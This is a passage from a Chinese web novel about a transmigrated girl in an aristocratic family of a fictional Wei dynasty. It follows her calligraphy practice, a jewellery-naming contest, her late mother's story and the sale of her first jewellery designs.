那日上巳后,曹壬让江澈送了几本字贴过来,说是为她量身定制的,都是简单易写的字。陆萸看出那是曹壬的字,笔墨还很新,为了教好这根朽木,他比她还要上心。 许是因为有他手把手教了一天,陆萸突然摸准了门道,写的字越来越正常了,虽然离字帖的上的字还差很远,但比之前那些四肢分家的字已经好太多了。 时间就在陆萸骑马和练字的时光里匆匆而过,又是一年四月,安和八年,初夏时节,一蓬又一蓬的草木花团锦簇。 这日课堂上,夫子破天荒地对陆萸的进步表扬了一番,陆家朽木终于开窍了,学堂内引起了不小的骚动。 大魏世家皆有族中学堂,陆氏学堂的师尊是陆歆自朝中致仕时三顾茅庐从颍川旬氏请来的一代大儒旬维。 有名家授课又有陆氏丰富的藏书作为教材,在建业凡与与陆氏交好的世家,皆想把适龄的孩子送来陆氏学堂。 这个朝代的男女大防没有后世那么严,因此课室以十岁为界,共分为两间,陆萸在的这间都是十岁以下的孩子,而兄长们的课室则在院子对面。 庭院宽敞,院中种有几株海棠,此时开的绚烂,白中点缀粉,粉中夹淡红,花朵玲珑洁雅,令人望之欢喜。 被表扬后的陆萸心里开心,看着院中海棠花开起小差,不知怎么的她觉得这花和曹壬很配,坚强清新。 散学后,陆弘让陆萸去他的书房,有了上次学家谱的不好回忆,陆萸对他的书房总有一丝恐惧,生怕他对那天的事情深究,那她可真不知该如何圆谎了。 好在这次陆弘只是想检查一下她的功课,顺便看看她字练得是否有进益。 功课,只能说马马虎虎,照着读一下可以,深层的意思陆萸不敢表示出自己的见解。至于练字,陆萸为了扬眉吐气,认认真真的将论语《学而》篇写了下来。 陆弘看过后,惊喜道:“不错,士别三日当刮目相待。” 陆萸得意一笑:“那是,我可是一直在练习从不懈怠。” “不知,你这字是和学的?”陆弘拿起陆萸写的字,边看边问。 虽然陆萸的字中规中矩只算的上可识,但他练字颇有心得,能推测出原字体应该是非常大气的。 练字这事,陆萸没想瞒着家里,她那天自南安王府回来后,便已打算向兄长们引荐这位与病魔斗争了十几年却依然拥有干净笑容的少年。 这笑容就是最励志的存在,想必两位兄长也会很乐意和他结交。 他太孤独了,若有更多的朋友,以后的人生会多出更多乐趣。 “君期公子?”陆弘听了陆萸的解释,微微诧异,自己当初教了妹妹那么久都没开窍,他竟然只花了一天? “正是,君期公子一遍遍教了,我便学会了。” 曹壬此人,他之前不是不知道,毕竟陆氏和南安王府有婚约,但关于他的一切除了当年他的生母琅琊王氏闹着和离一事被大家熟知,其余便少的可怜,大家都快忘了有这么一个人。 “我记得你和他是在前年上巳覆舟山相识的吧?” 当年覆舟山陆萸有惊无险后,陆弘和弟弟妹妹都很自责,母亲甚至还送了大礼以表谢意,可惜他几次想要亲自拜谢皆被“君期公子旧疾复发不便见客”的理由拒绝了,后来他也歇了那份心。 “是的,还有后来,后来那幅一竿翁的画,其实也是他送我的,我,我只是借花献佛”陆萸有些尴尬的回道。 闻言,陆弘伸手揉了揉陆萸的头发,笑道:“看来我得好好感谢他才是,不过你的心意我也是知道的。” “阿兄不生气便好,他真是个极好的公子,字写的好,琴也抚的好,嗯,垂钓也很厉害,待日后,我还要约他去垂钓”陆萸恨不得让家里的兄长们都喜欢曹壬。 “垂钓是男子的爱好,你还是好好想想学什么乐器吧”陆弘轻弹一下陆萸的额头笑道。 撇撇嘴,陆萸不情愿道:“好吧,那我现在就去问问阿姊什么乐器容易学。” 陆弘摇头无奈一笑,便随她去了。 陆萸只是为离开找借口,她前世没钱学乐器,原想着如今有钱有闲了,也能像那些高门贵女一样,学会后可以在公众场合惊艳众人?可惜,古琴、箜篌、琵琶、竖笛,这些当下女子流行的乐器,她都觉得太难了。 陆萸走后,陆弘想起了一些有关曹壬的信息,曹壬很得前南安王喜欢,甫一出生老王爷便给他取了表字“君期”,他刚满一岁,琅琊王氏闹着和离归家,还强硬的把他带回王家。 当年的南安王世子一气之下立马娶了顾氏女,次年生下一子,即现在的世子曹善,也立马取了表字“元襄”,元,第一子。 谁知,没过几年,王氏病故,曹壬孤苦无依,老王爷怜惜他,亲自去琅琊王氏的庄园将他带回。 自此,有关他的信息只有“体弱多病无缘世子之位”短短几字,可今日听了陆萸的描述,陆弘开始对这个素未谋面的王府嫡长子好奇了。 几日后,立夏,陆弘给陆萸带来了一个消息,让她约曹壬去游玄武湖,这次游湖,因陆婠要陪会稽来的表姐们逛街,所以只有陆萸和两位兄长。 手上拿着陆萸写的邀请帖,曹壬笑笑:“看来一直在认真练字,这帖子看着还不错。” 10. 第十章 谢洐 《续命丹》全本免费阅读 年前,九堂叔陆恭终于在多次上书申请后,得朝廷准许承袭定远侯爵位,当年其父陆竣立战功后病逝,朝廷为嘉奖追封其为定远侯,又怜惜陆恭年幼一道封为世子。 不同于其他的父死子承爵,陆恭想要承袭定远侯之位需得加冠后再做申请。 谁知,他加冠后,朝中又以未成亲为由将其驳回,后娶亲后又以未有政绩为由被驳回。 好在当了几十年的世子后,终于因着他在颍川郡任太守政绩良好,被准许承爵,如今陆氏在朝中再次恢复了一门两侯。 陆氏在朝中的地位水涨船高,想来拉拢结亲的世家很多。 陆萸今年已满七岁,古代按虚岁及八岁,也许再过几年,家里就要为她定下亲事了,虽说这个时代民风很开朗,但不代表她在定亲后还能时不时的去找曹壬。 游湖回来的路上两位兄长直夸曹壬,陆萸便知这次的引见很成功,她与曹壬虽只是一场不经意的相遇,后来他却以一颗赤子之心把她当小友,不带任何杂质和算计。 投之以桃,报之以李,她要在定亲前为他谋划,倘若将来失去自己这个朋友,他还有两位兄长为友。 翌日清晨,陆婠带着会稽的两位魏表姐约陆萸一同去华彩阁看新品,每个时代的女孩都一样对华服和首饰没有丝毫抵抗力。 陆氏华亭的庄园有蚕丝坊,每年蚕丝产量高,也养有很多绣娘,陆氏所产的祥云绫锦向来是洛阳皇宫的贡品,与成都的蜀锦齐名。 陆萸的三叔是庶子,不愿入仕,喜欢经商,将陆氏的绸缎布匹产业发扬的非常红火。 昨日陆婠带两位表姐在陆氏绸缎铺挑选布料订制衣服,后又带着在淮河边游玩,还未来得及去江左有名的首饰胭脂铺华彩阁。 陆萸年岁小,加之一直是木讷的性子,向来对逛街不是很热衷,前世的她,比起逛街更愿意找个山清水秀的地方钓鱼,如今姐姐们热情相邀,只得打起精神做个透明的小尾巴。 几日前华彩阁预告了今日有新品上市,刚至巳时,几人便已至门口。 原以为她们来的算早,怎知各家贵女们已经在楼内挑选商品,陆萸忍不住为这个时代女性的购买力咂舌。 华彩阁一楼卖的是化妆品的,当初何晏敷粉化妆开了男子化妆的先河,发展至今越来越多的男子开始敷粉,所以化妆品的种类和数量非常多。 有苏烟黛、青雀头黛、铜黛、螺子黛各类画眉之物,还有锦燕支、金花燕支等固体、膏状体、粉态类各种名字繁多的胭脂。 二楼卖的是各类首饰,整个店铺装修风格典雅大气,饶是前世对化妆品不怎么感兴趣的陆萸,才刚刚走进一楼救已经被眼花缭乱的商品吸引了。 见张家二女郎张文茵正拿着一盒粉色的桃花香粉与小二问价,陆萸脑海中一个赚钱的法子一闪而过,以前看的小说里那些穿越女们回到古代不是做香皂制香粉吗?或许自己也可以? 思及此,她顺着柜台挨个的将各色香粉和胭脂拿起来看,拿到一盒淡黄色有桂花香味的粉盒时,小二热情的上前介绍起来,这样一盒小小的粉,竟如此多的工序,既复杂又耗费时间。 仅一瞬间,她刚起的念头便消下去了,如今工业不发达,做什么皆是纯人工,造香皂或者胭脂口脂的质量安全也全靠人工把控,自己记得的配方不甚成熟,若是让人用了过敏,别说是赚钱,不连累陆氏就已算是好的。 而且一旦发明生产什么东西,必定要动用大量人力物力,她只想安静低调的做个咸鱼,那些念头就暂且放下了,绕了一楼,陆萸又跟着陆婠上了二楼。 首饰入手门槛更高,所以二楼没有一楼那么热闹,见孔氏三女郎和顾六女郎也在,陆萸随着姐姐一起见礼。 几个女孩凑在一起,很快就聊起来今夏洛阳流行的首饰,陆萸前世虽不爱佩戴首饰,但喜欢看各种历史文献,当初还从图书馆借了一本各地博物馆馆藏历朝历代首饰配饰的书。 如今看到曾在书上见到的旧物还未被掩埋,颜色鲜艳活灵活现的趟在柜台里,她的脚步忍不住走了过去。 指环、花钿、金钗、步摇、成对的簪钗、玳瑁、银钗、银金玉手镯等款式多样类目繁多,琳琅满目应有尽有,因现今只有胡人女子带耳坠,所以并没看到精致的耳坠耳环。 一支鲤鱼鎏金步摇吸引了陆萸的注意,步摇,上有垂珠,动则步摇也,她曾看到过后世有一款珐琅鲤鱼步摇名《追鱼》和这个非常像,如今珐琅工艺还未传入,顶尖的只有鎏金、点翠、炸珠工艺。 但这支步摇上的鲤鱼栩栩如生,她忍不住问:“请问这支步摇怎么卖?” 一旁的小二立马笑回:“女郎好眼光,这是今日刚开的新款,时下洛阳都城最为流行,报价四十两银子。” 竟然这么贵!一听报价格,在场的贵女忍不住低声惊呼,在流通五铢钱的大魏,一千五铢钱才能兑一两银子,银子很是贵重,陆萸一个月的零花钱才二两银子,小小一支步摇竟是她攒三年都买不起的,若是买字画她自然舍得,可买个步摇,算了,她把步摇放回盒子里。 “这步摇可有名字?”陆婠也觉得此步摇甚是精美,忍不住问。 “因是新品,主家让有缘人取了名才出售”小二立马回。 闻言,陆萸一乐,这华彩阁的老板真会做生意,新品上市,有这么个噱头,就算不是真心喜欢这步摇的,为了博个有文采的美名,也要来争上一番。 一时间在场的贵女们都跃跃欲试,仿若那四十两白银只是石头,陆萸也好奇起哪位冤大头会买下这支步摇。 见陆婠看着步摇低着头沉思中,陆萸凑过去悄声问:“莫不是阿姊也看上这步摇了?” 点点头,陆婠道:“母亲生辰将至,我想选了做生辰礼。” 嫡母魏氏向来喜欢锦鲤,鲤鱼寓意吉祥、繁荣、幸福、安康,而用在服饰和配饰上更是彰显富贵和高雅。 思忖一瞬,陆萸道:“阿姊可还记得年初我与你讲过的鲤鱼仙子的故事?” 陆婠眼前一亮,立马对小二道:“我想为其取名追鱼”,顿了一瞬,又接着道:“天高任鸟飞,海阔凭鱼跃。” 话才落,立马引来满堂喝彩,陆氏女如此才思敏捷,大家无不羡慕和嫉妒的。 “我也想了一名,唤逍遥”突然,从二楼楼梯口传来了一声清脆的女声,杨琇莹带着妹妹站在入口处,神色倨傲的看着陆氏姐妹。 《庄子—逍遥游》的主题思想是不对万物有所奢望和依赖,无拘无束、自由自在地在天地之间遨游,与陆婠方才解释的大致一样。 时下文人大多以擅长清谈为雅,庄子的逍遥游比陆婠通俗易懂的追鱼听起来更上档次,情急之下,陆萸主动开口:“追鱼的背后有一则动人的故事。” 不知何时出现的掌柜本就对杨陆二位女公子取的名难分高下,立马问道:“不知是何故事?” 陆萸悄声与陆婠商量后,清清嗓子,将这个故事娓娓道来。 传闻在一个遥远的国度,有一张氏儿郎唤张珍,与杜氏女郎牡丹自幼定了婚约,谁知一场战乱,张门败落,杜氏族长嫌张珍贫寒不愿履约,要求他取得功名重振张氏门楣之后方可上门娶亲。 时局动荡,想要重振门楣犹如登天,然张珍没有别的选择。杜牡丹虽不满族中长辈嫌贫爱富却苦于自己势单力薄,只能在临行前送了一条锦鲤给张珍,祝愿他前程远大。 张珍奔赴未知的前程,一去便是经年,杜牡丹在张珍走后忧思过重,一病呜呼。因心存执念,她的魂魄费劲千辛万苦飞至张珍的身旁,见张珍日日精心养护那条锦鲤,她附身在了那条锦鲤上。 张珍虽家道败落,却是个身怀大才之人,几经磨难后,遇到英主招贤,不但在英主终结乱世之战中立了功,还衣锦还乡重振了张氏门楣。 他按约定上门求亲,然杜氏女郎早已化成一抔黄土,悲愤之下,他一病不起,二人的故事了感动了天上的神仙, 11. 第十一章 忆故人 《续命丹》全本免费阅读 现正是盛夏,天黑的晚,漫天的晚霞像一层繁花遮住了天空,烈日时的蝉鸣已停歇,晚霞卷染的天空让陆氏后宅营造出一种若隐若现的宁静之美。 陆萸一路欣赏着美景带着疑惑去魏氏的院子,刚一进院子,远远见到魏氏坐在院中凉亭品茶。 亭子四周的纱幔被高高收起,亭中案几上放着一本看起来有些年代的册子,一个鲤鱼戏水图案的香炉冒着袅袅青烟,燃的是一品沉香,此情此景,陆萸脑中突然想起了清代宫廷画家的那幅《春闺倦读图》。 入得亭中,她行礼问安后,席地坐在魏氏对面精美的镶边华亭苇席之上。 世家大族的生活无一不精,听银杏说过就是脚下这特意从华亭庄园带来的芦苇凉席也不是一般士族家中用得起的。 “听闻你对首饰好奇?”魏氏一如以往的温和。 “我前阵见了华彩阁的首饰甚是精美,便想试一下自己能否画出那样的图”陆萸如实回答。 魏氏向来待自己不薄,她也没打算瞒着,至于能不能真画出来,魏氏也未必感兴趣,只会当她是小孩子一时心血来潮。 闻言,魏氏柔柔一笑,道:“你是阿秀的女儿,果真是像她的。” 魏氏口中的阿秀是陆萸的生母,那个可怜早逝的女子,陆萸曾断断续续从侍人口中拼凑出有关生母陈秀的信息。 陈秀不同一般家生子,她是七岁那年被买入魏府的,因识字且稳重聪慧深得魏氏的喜爱,后来跟着魏氏嫁入陆氏。 陈秀在陆府后院不是什么禁忌,但人死如灯灭,谈论她的人越来越少,陆萸从未见过她,也从未主动打听过有关她的一切。 一声沉重的叹息,魏氏端起茶碗抿了一口茶水后,怔怔地看着亭外一池碧荷,似怀念似低吶自语般向陆萸讲起了有关陈秀的陈年往事。 陈秀长得眉清目秀,魏氏形容她像常年开放的木芙蓉花,安静柔美。她不同于那些因出身卑微而被辗转于牙婆手中的女孩,她出自首饰名匠陈氏家族,不仅长的好,还写的一手好字,拥有过幸福美满的童年。 可惜天有不测风云,陈秀和父母去祭祖的路上遭遇匪患,父母和弟弟皆亡,而她被推落山坡才得以幸免,但自此,她成了孤儿,陈氏族人霸占了她父母的一切还把她还给了舅舅。 舅舅只是个奢酒如命的富户,没了陈秀母亲的救济,家境很快没落,于是把陈秀卖了换钱。 魏氏和陆氏定亲后,府中开始为她筛选随嫁侍女,原只是想买几个粗使婢女,谁知刚入府的陈秀仅一眼就被魏氏相中。 “那日也是这般午后,我看到她怯生生向我行礼,我便觉得她很好”魏氏道。 陈秀入府后话很少,但做事很稳妥。她能写字会作画,魏氏便经常带着她,二人越来越默契,后来一直跟着魏氏嫁入陆氏。 那时候陆萸的祖母还未过世,她一开始跟着祖父在洛阳任职,后祖父主动请求致仕,祖母便跟着回了建业。 长子陆烈和长媳姚氏皆去荆州上任,祖父母便和陆萸一家住在建业,谁知祖父突然提出要回会稽庄园养老,祖母从繁华的洛阳回到建业已是不适,现在又要去更偏僻的会稽,她一万个不同意。 奈何祖父一意孤行带着侍妾柳氏去了会稽,反而把祖母留在了建业,祖母心中有气,于是向来通情达理的她开始喜怒无常,时常刁难魏氏。 陆氏家风很好,婆媳关系历来融洽,魏氏的父亲才同意把长房嫡女嫁给陆氏嫡次子,哪里晓得祖母钱氏却越来越难伺候。 用陆萸从后世学到的知识来理解,祖母那时候应该是进入更年期了。 魏氏和夫君恩爱美满,祖母钱氏却愈发看不顺眼,各种磋磨魏氏,导致魏氏曾有一名女儿在三岁时未能及时医治病逝,另一名女婴早产未能养至满月便夭折。 魏氏因早产伤身不能再孕,钱氏又步步紧逼,万般无奈下,魏氏将陈秀提为侍妾。 “阿秀原和我商量好,待她年满十八就出府外嫁,可惜我食言了,若非为了我,她也不用受生产之痛后留下病症早早离去。” 陈秀刚去世,祖母钱氏便突发心疾病逝了,真是造化弄人。 陆萸心想,若她们主仆二人再坚持一下,就能胜利了,真是可惜。 “阿秀留了一本册子给我做念想,你既对首饰感兴趣,我便将此物送你”魏氏说着,将封面没写名字的册子推至陆萸前面。 陆萸听了生母的故事后,虽然拿到了生母的遗物却没有太多欢喜,只觉的沉重,她能猜到魏氏这些年对她的关照可能出于补偿。 只是斯人已逝,天意弄人,更何况连如今的陆萸也是假的。 其实魏氏和陈秀的主仆之情在陈秀成为侍妾的那日便已断了,只是她不愿意承认罢了。 她和父亲幸福恩爱,又怎会对陈秀不介怀?陈秀那般聪慧,在成为侍妾后,可能既内疚又担忧才会在生产后病逝,死,也许于她只是解脱。 再好的姐妹情份也会为了男人变质,更何况等级森严下的主仆之情。 “谢谢母亲今日告知我这些,也谢谢母亲将这本册子给我”陆萸心中闷闷的,语气有些低沉,但面上没有太多表露。 魏氏知道眼前的庶女自小懂事乖巧,无需自己费太多心思,如今见她听完生母旧事竟然这般平静,心底莫名觉得愈发看不透她,既有对陈秀的内疚之情,又有对陆萸未来的担忧。 女孩子拥有这样隐忍的性子,只怕是要吃太多苦的。 陆萸见魏氏怔怔地看着自己不回话,反而安慰道:“故人已逝,母亲当往前看。” 她不是陈秀的亲生女儿,没资格替陈秀原谅魏氏,且陈秀卖身为奴,遇到魏氏这般主人后不用担惊受怕,不用朝不保夕,其实也是幸运的。 陆萸虽来自后世,但不是一个天真烂漫的灵魂,这样等级森严的环境下怎么可能人人平等? 陈秀去世,魏氏内疚,只是因为约定的未能兑现,但倘若陈秀活着,后来又生了儿子,估计也只会两看相厌。 在魏氏的怨刚萌生之时陈秀骤然离世,反而让那份主仆之情愈加难忘,这便是距离产生美。 陈秀和女儿已在地下团聚,被陆俞捡了便宜,她能深切体会到这些年魏氏的关爱是真的,没有敷衍,没有人前人后两副面孔,这便够了。 所以哪怕心里对陈秀无力与命运抗争感到悲凉,却也不会对魏氏当年的做法产生怨愤。 她拿起册子,再次向魏氏深深一拜后,起身离去。 魏氏的心结,需要她自己去解开,旁人无能为力。 回去后,傅母徐氏看到册子,又与陆萸谈起了陈氏。 傅母徐氏是当年魏氏为三岁早逝的姐姐陆姮准备的,她和陈秀同来自魏府,因年长,早早嫁了魏府的家生仆。 “女公子无需太过伤怀,使君夫人待您如己出,阿秀泉下有知应当是瞑目的。” 陆萸其实没有太多的伤怀,只是因如此时代背景下的女子有太多身不由己而产生了同病相怜之情。 相比魏氏,前世亲生父母做的决定才真正伤透了她的心,癌症确实是不治之症,她其实不会一意孤行花光积蓄,她让他们取钱,无非试探罢了。 从小缺少父母的爱,她小心翼翼的一次试探,终归是绝望了。 这世上,最不能直视的,除了太阳,就是人心。 魏氏的动机如何,她不会傻傻的去试探,有幸再次捡起生命,她还是想要珍惜的,糊涂一些没有什么不好。 陈秀的遗物是一本款式早已老旧的首饰册子,因款式太老,没有什么实际价值,这才没有被舅舅卖了。 但这个册子让她知道了该怎样出一份首饰设计图,除了画好图案,还要做好材料标记,色彩搭配方案等,真是拿到宝贝了。 第二日,魏氏身边的嬷嬷李氏又带着陆萸欣赏了魏氏的首饰,连 12. 第十二章 杨蓁蓁的烦恼 《续命丹》全本免费阅读 见他如此表情,陆萸心中松了一口气,想来这单还是有机会谈成的。 为以后能长久合作,她这次一共设计了四款:一支红宝石海棠发钗名:光阴、一根鎏金芙蓉花簪下坠红色玛瑙的项链名:前缘,一对鎏金菊花手环名:秋好、一对石楠花型戒指名:偕老。 每个图纸皆标注了用材、工艺以及色彩搭配。 谢洐看过图纸,收起散漫,直起身子问:“不知女公子与哪位大师学的这画技?可否引见?” “我幼时跟着一名西域游僧学的,现不知恩师游历至何处了”这是陆萸之前想向曹壬解释的说辞。 闻言,心中难免可惜,谢洐指着名为前缘的项链,问:“这名字,是否也有故事?” 其实这名字初时只是脑中一闪而过,因听起来很文艺,陆萸就写在了纸上。 她略作思考后,问:“若这个故事能打动你,今日的合作是否就算成了?” 方才见谢洐一派风流斜倚窗畔饮茶观景的姿势,陆萸脑海中不由自主的想起了南宋严蕊的故事,时下名士以携名妓出游为风流雅事,对歌妓没有那么谈而色变。 谢洐看着女孩一脸志在必得的模样,笑道:“那就看女公子的诚意了。” 陆萸也不再啰嗦,把严蕊的故事在脑中适当改编以后,讲给谢洐听。 传闻一个叫宋的国家,一名周氏女郎出身名门却逢家族蒙难被迫卖入勾栏为歌妓,此女自幼颇有才情,琴棋书画无一不通,一时多有文人雅客上门结交,多为饮茶赋诗,以文会友,一名唐姓太守也在其间。 帝王年迈,朝中党争愈演愈烈,唐太守被政敌以朝廷官员与歌妓厮混有辱官体为由弹劾,甚至为了坐实罪名将周女郎羁押入狱,强迫其出面作证。 然周女郎虽身在勾栏却不肯昧着良心污蔑唐太守,经受各种言行逼供却仍不肯签字画押。 时间拖的太久,此事轰动京都,皇帝以为只是文人争闲气,将唐太守的政敌调离岗位草草了事。 新上任的提点刑狱同情周女郎,同意她写一份状词自辩。 周女郎写了一首诗,提点刑狱看了,很是感动,便将她释放并判其从良。 不是爱风尘,似被前缘误。花落花开自有时,总赖东君主。 去也终须去,住也如何住!若得山花插满头,莫问奴归处。 故事至此结束,陆萸之所以讲这个故事,是因为词中有前缘二字。 钱六一直在一旁替大家续茶,如今竟然沉浸在故事中连谢洐的杯子已空都没有发现。 “好一个有品格有节气的女子”谢洐忍不住赞道。 现在建业城流传着追鱼的故事,所听之人皆折服于陆家女公子的才华。一时间,华彩阁的生意爆火,甚至有人自其他州郡赶来,只为巧遇有缘的首饰。 其实方才刚看完图纸,谢洐就已经心动了,只是想到一个几岁的孩童竟能想出前缘这般沧桑的名字,有些好奇而已。 见陆萸一脸期待的看着自己,他将图纸重新收拢,笑问:“不知女公子出价几何?” 陆萸之前只想着试一试水,并没想好价格,稍作思索,她伸出五根指头。 “可,一张图五十两银子,共两百两,你让钱六带你去结账吧”谢洐爽快答到。 两百两呀,陆萸惊喜不已,有种买彩票中大奖的感觉。 她的心理价位其实只是五两银子,不曾想这般值钱,忙喜出望外:“那日后还有新作,谢公子是否继续合作?” 见她毫不掩饰的欢喜,谢洐轻笑出声:“君子一言,静候佳作。” 闻言,陆萸也懒得留下来客套,立马起身就往外走。 见曹壬还没起身,她等不及牵过他的袖子,道:“君期,我第一次赚钱,你帮我参谋一下,该买什么物件纪念。” 突然变得有钱了,一时间各种花钱的方案自她的脑海中纷至沓来。 看着开心得手舞足蹈的陆萸,曹壬无奈一笑,对谢洐道:“今日就此别过。” 谢洐笑笑回:“公子真是好运气。” 曹壬未回话,只再次抱拳施礼后跟着陆萸离去。 遇到阿萸,自是好运的,曹壬心中想,如今《追鱼》已成为江左茶余饭后都爱说起的故事,今日谈成合作,日后会有更多感人的故事流传出去。 他不知小友为何会有那么多故事可以讲述,却真实的感到与有荣焉。 谢洐起身看着淮水河畔的杨柳依依,此时正值柳絮飘飞的时节。 漫天飞舞的柳絮,像蒲公英,像鹅毛,更像洛阳都城的雪花,纷纷扬扬。 时光匆匆,光阴易老,他想起了一去不复返的少年时光,曾经的他也是幸运的。 陆萸拿到银子之后第一件事是奔去陈记点心铺买了各色糕点,至于今日的故事会被华彩阁如何渲染传播就不是她所关注的了。 能自己赚钱的心情太过美好,坐在南安王府的马车里,看着窗帘外晃动的骄阳,陆萸邀约曹壬去鸡笼山垂钓。 看着像猫一样吃完点心后还舔舔嘴皮的陆萸,曹壬笑着将帕子递给她后,笑道:“阿萸开心就好。” 他什么都没有问,游僧也好,故事也罢,只有一句“阿萸开心就好”,在一刹那间,陆萸的心被熨帖得平平展展,暖洋洋的。 礼记云,男女七岁不同席,陆萸已满七岁,她知道以后私下与他单独相处的时间只会越来越少。 他的眼睛总是那么干净明亮,她也从未生出过任何非分之想,但世人不会理解,她不想拖累了他。 今年初,嫡母魏氏已为长兄陆弘定下了张家女郎张文芸,只待陆弘行冠礼之后就完婚,接下来就该到次兄,再然后就是自己。 陆萸虽来自后世,心底对这种盲婚哑嫁无法苟同,但她没有心高气傲的资本,知无力反抗封建礼数,唯有接受命运,唯有做好向家族妥协的准备。 这次回去后,陆萸忙碌的准备起钓鱼的工具,谁知,接下来的日子皆是雷雨天气。于是除了去学堂,余下的时间她只能百无聊赖地缩在芝兰院练字。 如今她的字大有进益,但夫子的要求也越来越高了。 今日又是阴雨天,清晨下过一阵雨后,天一直阴沉沉的,陆萸正在练字,银杏报杨蓁蓁来了。 见杨蓁蓁一副神思不属的表情从外间进来,陆萸关切道:“这次是因为女红还是因为棋术被责难了?” 杨蓁蓁在两位姐姐的影响下被迫内卷着,奈何女红和围棋总不见进益,每每被责难,她都会来这里躲一下午再回去。 轻叹一声,杨蓁蓁问:“有没有什么可果腹充饥之物,我还未用午膳。” 看来真是又被责罚不让吃饭了,陆萸有些同情的看着眼前的好友,已过用餐时间,魏氏就算差人送来接待杨蓁蓁的茶点,也不足以解饿。 她于是交代木槿去陈记点心铺买些吃食,自从挣到钱以后,想吃什么,她从不犹豫。 又传来杨蓁蓁一声叹息声,陆萸笑道:“不就饿个肚子吗,小小年纪装这般苦大仇深。” 杨蓁蓁也才十岁而已,在后世正是无忧无虑地在红旗下奔跑的祖国花朵,应当朝气蓬勃、欣欣向上。 只见她再次长吁短叹后,一副欲言又止的表情,双眼有些红,仿佛噙着泪水。 陆萸心中一声“咯噔”,莫不是出大事了?忙将手中毛笔放在笔山上,然后示意银杏去门口守着,才问:“这是遇到大事了?” 将身子挪近陆萸身旁后,杨蓁蓁低声道:“我长姐的孩子又没了。” 杨蓁蓁的长姐嫁入东宫为太子妃已五载,但一直未有一儿半女,如今已是第三次小产,陆萸脑海中各种宫斗剧的情节轮番上演。 这种事情,她也不知如何安慰,伸手轻轻拍拍杨蓁蓁的肩膀,宽慰道:“太子妃还年轻,还会再孕的。” “可是太子良娣又有身孕了”杨蓁蓁有些郁闷的看着窗外虽未下雨却阴沉得仿佛被盖了一口黑色大锅一样的天,接着似喃喃自语:“阿母想让阿姊进东宫帮衬长姐。” 据这两年来陆萸从杨蓁蓁这里听来的消息,太子和太子妃感情一般,他更喜欢青梅竹马的良娣卢氏,两人已育有一女,如今再次有孕,弘农杨氏有危机感也能理解。 13. 第十三章 姐妹 《续命丹》全本免费阅读 畅快淋漓的跑了两圈后,陆萸放慢了马匹的速度,悠哉悠哉地绕着马场。 见朱慎骑着马迎面而来,她笑问;“他们都回去了?” 朱慎笑道:“我好奇你的马术进益如何,所以回来看看。” 少年郎笑起来时若濯濯青柳,眉眼十分清俊,难怪建业城中那么多女郎为之倾倒。 回以真诚一笑,陆萸问:“可还入得公子的眼?” “士别三日当刮目相待!” 得了夸奖,陆萸心情更加舒畅了,回了句:“承蒙夸奖!” “女子又不上战场,你何苦这般拼命”朱慎笑问。 “并非只有上战场才骑马,我也可以为了自由!”未待朱慎回话,她继续笑道:“我还没跑够,先行一步。” 说着,再次打马而去。 打马驰骋的时候,她感受到了前所未有的自由,像翱翔于天际的雄鹰正奔向自己的梦想,想来会骑马的人都懂得这种体会。 朱慎的眼神微微一顿,他深深的看着笑颜明媚,正一脸享受自由的女孩,想起了那个叫追鱼的故事。 天高任鸟飞,海阔凭鱼跃,想必那就是她所追求的自由吧! 他没有继续打马追逐陆萸,而是立在原地静静地看着她享受只属于她的那份自由。 午后阴沉的天一直未见转晴,陆萸反而觉得这样的天气很适合跑马,那份畅快淋漓的极速奔驰所带来的愉悦心情仿佛已将天上浓密的云层划破,天未晴,心却已晴。 待她跑累了,回到原点休息的时候,早就不见朱慎的身影。 杨蓁蓁学了一下午,终于能够连贯性上马并平衡好身体,第一次学骑马给她带来了前所未有的新奇体验。 眼看酉时将近,且看得出好友面带倦色,陆萸提议下次再来。 主要动作要领陆纯都已经一遍遍向杨蓁蓁演示,下次再来的时候只需陆萸在一旁指导练习即可。 看到朱家马场的小厮把杨蓁蓁今日用来学习的马牵走,陆纯看着她道:“今日回去先让府上给你选一匹适合的马,下次再练习就更容易了。” 马是有灵性的动物,只有和主人建立深厚的感情,才能配合得更默契。 母亲定不会同意我学骑马的,杨蓁蓁心中这般想着,却不忍辜负少年郎那份真诚的期盼。 微微向他行礼,她笑回:“今日多谢陆公子耐心教导,小女子感激不尽。” 陆纯不甚在意的摆摆手,爽朗一笑:“女公子是阿萸的好友,无需如此客气。” 少年的笑,和他的表字很配,季真,当真眼角眉梢皆是真诚,这样干净坦然不含杂质的笑容,她不曾在家中那些兄长眼中看到。 不再客套,和陆萸兄妹作别后,杨蓁蓁回到了杨府的牛车里。 牛车外銮铃响起,车轮“吱呀吱呀”的碾压着回城的路,她安静的靠在车璧上假寐,脑中回想着骑在马背上看向远处时的那份宽阔与舒朗。 可惜,美好的事总如昙花一现,马车快进城门时,侍女绿娥低声提醒:“女公子,您该换衣裙了。” 杨蓁蓁不舍的看了看身上的胡服,轻叹一声后终是让绿娥解开了扣子。 当天夜里,下起了瓢泼大雨,雨点重重的砸在地板上,发出清脆的声音,而且久久未能停歇。 许是白天听了关于太子妃的事让陆萸感触太多,以往她喜欢听着雨声入眠,今夜却辗转难眠。 思来想去,她翻身下床对值夜的银杏道:“你去准备雨具,我想去找阿姊。” 银杏惊讶道:“女公子可是有急事?外面正下大雨,能否明日再去?” 陆萸摇摇头,未做解释,只是喊了木槿进来更衣,她一刻都不想耽搁,连头发都没梳,只是简单用布条扎了个马尾。 同是被父母定亲给皇室的阿姊,不知日后会不会遇到太子妃一般的境况? 那次覆舟山见过世子曹善后,后来兄长又带着姐姐和世子兄妹一同游过湖。 陆萸不知姐姐对这桩婚事有何想法,对曹善又有何看法。做为亲妹妹却一直未曾认真找姐姐谈过心,她觉得自己很是失职。 姐姐爱学习,每日夜里挑灯奋战常比自己睡的晚,陆萸想着便急匆匆的往芙蓉院奔去。 南安王世子和陆婠的婚约说起来颇有戏剧性,当年祖父陆歆致仕回来的途中遭遇匪患,恰巧遇到从琅琊王氏府上接回曹壬的老南安王。 匪徒为抢银钱残暴血腥不择手段,陆府部曲和南安王卫兵联手作战才终于打退那些暴徒,共患难见真情,为了这份情,南安王提议两家联姻。 那时候南安王府只有男孩,所以定了陆氏之女为世孙妃,陆萸的祖父也觉得不错,于是二人交换了信物。 后来,南安王府立曹善为世孙,陆氏选长子陆烈之女陆婵联姻。 谁知陆婵五岁那年伤寒不治离世,婚约才落到了陆婠头上。 比起荆州牧嫡女的出身,陆婠的身份确实低了,但陆烈的女儿连续夭折,九堂叔家的陆妘又有心疾,除了陆婠,也找不出第二个合适的人选。 